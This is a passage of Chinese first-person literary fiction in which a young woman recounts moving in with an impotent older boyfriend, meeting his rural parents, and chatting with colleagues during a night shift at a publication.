    “噢！”我笑了笑。我那时候还不知道那方面对男女感情、对一个家庭的重要。


    我说：“没事儿，能生个小孩儿就行了。”


    他心里一块石头落地了。


    “吃饭吧！”他说。


    不是我不要那方面，是我看上他了。我掂量掂量我自己，年纪也大了，外地人，没人给我张罗婚姻大事，我不可能再找一个这样工作不错、外表齐整的人了。人无完人。我不能追求完美。


    我那时候还不知道一个阳痿男人对夫妻感情的杀伤力有多大，还天真地认为那方面不好的男人，应该比那方面正常的男人老实一点吧。他看起来也确实老实。他不太爱言语。说起话儿来，有时还翘起他的小拇指。总之，我就这样认定了他。


    这以后的晚上，我们经常一起吃饭，一起散步。


    有一天，我们一起散步的时候，他问我说：“你们单位有个叫郝跃的，你知道吗？”


    我说：“我知道啊。她比我早来一年。”


    他说：“我之前跟她谈了一阵子。没成。”


    我说：“你们怎么认识的？”


    他说：“人家介绍的。”


    “那后来怎么没谈成呢？”我问。


    “她看不上我呗。她嫌我家是农村的，没钱，父母也没有养老保险，还嫌我年纪大，嫌我学历不如她。”他说。


    我说：“我就喜欢农村的。农村的怎么了。”


    他说：“她跟你想法不一样，她家是郊区的，她家有钱，见的世面也多。”


    我说：“什么有钱没钱的，大家都在同样的单位上班，不都是一样的吗？是她拒绝你的吗？”


    他说：“准确地说，是我拒绝她的。那时候，要过年了。我妈催我结婚。我年纪大了，想定下来，她不想。我就不再跟她纠缠了。我等不起。”


    我们走到了广场边上，他说：“前面就是我们小区，我就住这儿。我带你去看看我的房子吧。”


    我们走到了他的房子跟前，他指着他家的房子对我说：“这就是我家。”他是七七年的，但有时候说话还跟个单纯的小男孩儿一样。我有点被他打动了。


    我跟郝跃一起在食堂吃饭的时候，我问郝跃：“郝跃，你以前跟黄林军谈过吗？”


    她说：“谈过。你怎么知道他？有人给你们介绍？”


    我说：“嗯。”


    她说：“你跟他谈了？”


    我说：“没有。你那时候怎么跟他没谈成的呢？”


    郝跃说：“我看不上他的条件。我是研究生，他学历是专科。他还是七七年的，年龄也太大了。他父母都是农民，没有退休金。”


    我说：“他不是买房子了嘛？”


    郝跃说：“他那房子是自己贷款买的，还欠着一屁股贷款呢。他到现在连车都买不起。他跟我见面，都是骑摩托车。他到咱们单位门口等我，我都觉得丢脸。我都是让他到大门儿旁边等我。”


    我说：“你眼光真高。我就没你眼光高。”


    郝跃说：“这不是眼光高不高的问题。以后过起日子来，你就知道了。过日子需要强大的经济后盾的。你要是觉得他行，你就跟他谈谈试试。”


    我说：“郝跃，你那时候对他一点好感都没有吗？”


    她说：“我那时候心情不好。我奶奶病了。他天天给我打电话，我觉得很烦。其实，我那阵子就是心情不好。如果给我时间长一点，我可能也就接受他了。”


    一天，我在办公室里。他发来信息说：“郝跃问我，我是不是给跟你谈了？我怎么回答她？”


    我那时候，还是很紧张他，我把郝跃当成了情敌。


    我说：“你们不是没有谈成吗？你们怎么还联系的？”


    他说：“是她跟我联系的。我又没跟她联系。”


    我说：“你们两个藕断丝连，不干不净的，我最讨厌这样了。你们要是互相还有好感，你们继续好了，我退出，我不阻碍你们。”


    他说：“你怎么血口喷人。我什么时候对她有好感了？我是好心好意跟你说一下。你非说我对她有好感。”


    我说：“她是富婆，她有房子，我又没有房子。你当然对她有好感了。”


    他说：“你以为我那么在乎她有房子吗？”


    我说：“那你们还联系干什么？你们既然没有谈成，就应该断地干干净净。你们这样纠缠不清，我看了恶心！你们好好谈吧。我们不要再联系了。”


    他说：“你怎么这样？我跟你说了，是她联系我的。下班以后再说，我在你们单位大门口等你。”


    等我下了班，到了大门口一看，他正在大门口等我。他看到了我，一脸失而复得的样子。


    “你怎么这样。我是跟你说了，我要是不跟你说，你还不是根本不知道。”他说。


    我说：“我不喜欢不清不楚，藕断丝连。我觉得这样很恶心。你要是觉得她好，你就跟她谈。我不掺和。”


    他说：“她也就是问问。她也不是要跟我谈。再说了，她就是要跟我谈，我还不跟她谈呢。”


    我说：“你巴不得跟她谈呢。她有房子。我又没房子。”


    他说：“你没有房子，可是你也不比她差啊。你比她还小两岁呢。”


    我说：“那是当然啊。我跟你我还亏了呢。”


    他说：“是的。我跟你一起是我赚大发了。你看，年龄又小，学历又高。工作又好。人还不丑。”


    没多久，我就到了他家里，我们开始了同居生活。


    晚上，按规矩该做点什么的时候，他实在行不起来。像一个实心的无花果儿上生了一个烂了的大辣椒。那大辣椒里面的果肉都烂成稀汁了，馕轰了，只剩下一层辣椒皮，萎缩在那里。我本能地失望，想当然地以为他会跟我说说好话，安慰我一下。


    谁知道，我还没来得及伤感一下，他就沮丧地把身体翻过去，唉声叹气，好像他只是对不起他自己。


    我赶紧安慰他：“没事儿！”


    “你也可以再选择！”他侧转着身子，有些愤愤地说。天呢！明明是他阳痿，他还委屈了！还得我去安慰他。


    我那时候太傻了，我天真地想，我怎么能去再选择呢，我都跟他“睡”了，《小坛》的保安都看到了，我要是再找别人，我的脸往哪搁啊？而且，接连多少天的相处，让我对他也有了感情。是的，我这样穷苦人家出身的女孩子，尤其是在年少的时候，是很容易跟一个我愚蠢地认为对我还不错的男人产生感情的。而且，我那个时候，包括到现在，我的不够聪明足够愚蠢的脑子，还是被所谓的英雄情结和圣母心所笼罩，我以为一个人越是处境不好，我越是不能放弃，我越是得对他好。这或许就是来自一个纯粹的不够精明的农村人的愚蠢的厚道。


    我们就继续好好生活。我来大姨妈了，把他的凉席弄脏了。


    他拿到洗手间边洗边说：“你看看你，要是以后我带你去人家做客，你把人家的东西弄脏了怎么办。”他是一个非常注重外交礼仪的人。


    “你要带我去谁家做客啊？”我问他。


    “我以前的一个同事就在谷梁镇上。周末没事儿的时候我们可以去他们家玩。”


    “哦。”


    “过几天，我父母要来看看你。你要表现好一点。”他说。


    “哦。你父母来了，我怎么称呼他们啊？”我问他。


    “叫大伯、大妈吧。”


    “人家不是都叫叔叔阿姨嘛，叫‘大妈’，我怎么觉得那么别扭啊。”


    “就叫‘大妈’。”他说。


    他的父母亲来了，很干净利落、又忠厚朴实的一对老人。他妈妈个子矮矮的，不到一米五吧，脸蛋儿圆圆的。因为常年在田里劳作，她的脸被晒地有些黑黄。她剪着一头短发，慈祥之中又有些可爱。他的父亲比他要清瘦、俊朗，个子高高的，走起路来，背着手，说话慢条斯理，不急不躁，很是沉稳大气，像个退休的老干部。


    他父母来，用竹杠子挑了不少东西，有她妈妈包的馄饨，还有他们在镇上买的熟菜。他妈妈有些晕车，但还是积极地烧菜、做饭。我们一起吃饭，说话。大多数时候是他妈妈跟他爸爸说话，他不怎么说话。


    “吃啊，小宋。这个青菜是自家田埂上挑的。好吃的。我还给你们包了馄饨。”他妈妈招呼我说。


    “知道了，大妈。你们也吃。”我说。


    “下了霜以后的青菜最好吃，发甜。”他爸爸说。


    “小宋，这个烤鸭好吃。你尝尝，我和你大大在我们镇上买的。”他妈妈说。


    “哦。我们这儿的菜场也有烤鸭。就是跟你们买的不一样。那是片皮烤鸭。”我说。


    “一样。都是一样的。”他爸爸说。


    “不一样。这儿的是北京烤鸭。你们这个不是。”我说。


    “一样的。都是一样的。”他爸爸笑着说。他看看我，觉得我很幼稚。


    整个过程他不怎么说话，都是我跟他父母一起说话。


    饭后，他父母说要一起出去走走。


    出小区后门儿的时候，我问他妈妈：“大妈，你们来的时候，走的是哪个门儿啊？”


    他妈妈没反应过来：“我们没走门儿。”


    “啊？没走门儿，那是从天上掉下来的吗。”我说，“老两口儿挑着担子，跟去西天取经似的，从天上降落下来了。”大家哈哈大笑。他爸爸笑地最灿烂最开心。


    “我是晕车了，一时没反应过来。”他妈妈笑着说。


    “我也晕车。”我说，“晕车要吃晕车药。我给你买吧？”


    “不用，我自己带了。我今天来的时候，忘了吃药了。上车的时候才想起来，我就自己把那几个药丸子给吞下去了。”他妈妈说。


    “哎哟！你吃药不喝水。能行啊。”我说。


    “能行。没事儿。”他妈妈说。


    秋天，银杏树的叶子落了一地，地上还有很多落下的银杏。


    “这个果子可以捡回家剥剥吃的。”他妈妈说。我和他妈妈一起去捡那些小果子，他和他爸爸一起走着。一切看起来是那么和谐。


    “起风了。小军，你晚上去接小宋的时候给她带件衣服啊。”他妈妈关照他说。


    他父母大概知道我跟他同居了。他父母大概不知道，我们同居了一个月，还是清白的。


    “哦。”他居然很应景儿地红了脸说。


    不久，他父母又来了，挑了两筐子盘子和碗，他们的儿子要成家了，老两口给张罗着买的新碗。她爸爸到了家，把担子放下，她妈妈忙着把碗放到橱柜里。多么热心肠的老人。


    一个几乎从来就没有一个温暖的家的人，太渴望有一个家了。我对这一切都很满足，初识的欢欣，让人忽略了我们这对男女该有却从来都没有的温存。


    我们还像是刚恋爱的样子，下了班一起买菜。每次下班，他都给我打电话，问我在哪里，我说在菜场，他就骑着摩托车赶过去，我们一起挑选，一起付钱。


    后来，我跟他说：“每次下班，你等我、我等你的，太麻烦了，付钱的时候，两个人谁付谁不付的，也尴尬，你就不要去菜场等我了，我比较顺路，我来买菜吧。”我就把买菜的事揽了下来。我自己买菜。我也不知道问他要钱，他也没给过我钱。过一段时间，他想起来了，也会取五百块钱给我，算是对我这段时间买菜的补贴。


    “你看，我对你好吧。”他说。


    我那时候也知道他对我真地不算有多好。


    我说：“我还没问你要工资卡呢。人家很多男人结婚以后都上交工资卡呢。”


    他愤愤地说：“哼！你还不知足。我对你算是好的了，有的人还问他老婆要房钱呢。”


    我那时刚刚从农业社会步入现代化，根本不会使用一切家用电器，不会做饭，不会炒菜。他系上围裙，像模像样地教我炒菜。


    “你炒菜的样子还蛮好看的，你比我娴熟多了。”我夸赞他说。


    “那是。我二十三岁上班，现在都工作十五年了。”他说。


    “我妈妈说过，我不会炒菜，因为我什么都没吃过，没见过。”我说。


    那会儿，我们感情还不错，我晚上值班到十点多，他就骑着摩托车在《小坛》大门口等我。


    我跟一群值班的同事在值班室门前站着，清灵也在。他有着一米八的个子和斯文白皙的脸。在一众发福发油发腻的成功中年男士里，清灵还是比较清新清灵的。清灵比我晚来一年，他小我一岁，85年的，属牛。我知道他，但是我跟他不熟，没跟他搭话。


    “老任怎么还没来。他来了，我们好走了！都十点多了！”一个戴眼镜的斯文的中年男人抱怨道。他是王编辑，是编辑部的科研高手，听说笔杆子很硬，很会写论文。


    “老任哪希望你走啊？他巴不得你在这儿呆一夜！”郭浩说，“马上你们都走了，我就得在值班室里住一夜！”


    “谁能跟郭主任比！郭主任是任社长跟前的红人。我们这些草民想去守夜还没这个机会呢！”


    “你想守夜？我把这个机会给你？”郭浩说。


    “算了吧。我没你那毅力，天天跟着他鞍前马后的。我要回家睡觉去了。你在这儿好好干吧，以社为家。前途大大的。”王编辑笑着说。


    “不行喽。这几年，头发掉地多喽。肚子也大了。”郭浩说。


    王编辑笑着说：“跟着任社长混，不会喝酒是不行的。你的胃吃得消吧？”


    “吃不消啊。上次十二指肠出血，直接休克了。我老婆打的120。她现在都不让我喝酒了。肾也不好了。”郭浩说。


    “啊？肾也有问题了。那杨薇可得好好管管你。”王编辑说，“你说人家任社长怎么就那么能喝的？千杯不醉。”


    “谁能跟他比。能喝酒的人，他们胃里有一种酶，能把酒给分解掉。所以他们比常人能喝。”郭浩说。


    “那任社长胃里的酶天生就比别人的多？”王编辑说。


    “那当然。所以他能当领导嘛。领导不是你想当就能当的。你没那么多酶！”郭浩笑着说。


    “光这点你就不能不佩服！能喝！”王编辑说。


    “那是！”郭浩说着，探出头去，往楼上看了一眼。任社长就在楼上，靠着栏杆打电话。任社长还没走，我们谁也不敢走。


    “妈了个巴子的！” 郭浩冷不丁地着着实实地骂了一句。


    他居然敢骂任社长！我们全都笑了，郭浩也笑了。


    “小宋穿地那么少，不冷啊？”郭浩看看我说。


    “不冷！”我说，“我是懒得洗衣服，我宁愿挨冻都不想穿多。”那时候，我穿着一身粉色的小香风的衣裙，面有喜色。


    “她应该是不冷。”清灵说，“她看起来蛮有活力的。”


    值班结束了，我跑到《小坛》大门口儿，坐上黄林军的摩托车，像是一个小朋友坐上自家大人的摩托车的后座儿。清灵也骑上他的电动车，跟在我们后头。


    “回家了！”我跟他打招呼说。


    “回家了！”清灵说。


    黄林军看出来清灵是我的同事，也应景地礼貌地笑笑。


    夜色里，黄林军载着我飞了起来。清灵也骑着他的电动车飞了起来。


    我对于清灵，尽管是第一次见面，但并不陌生，我仿佛在哪里见过他一样。这或许是因为我们身上有些共同的气息，又或许，他的样子跟我记忆里的某个人有些默契。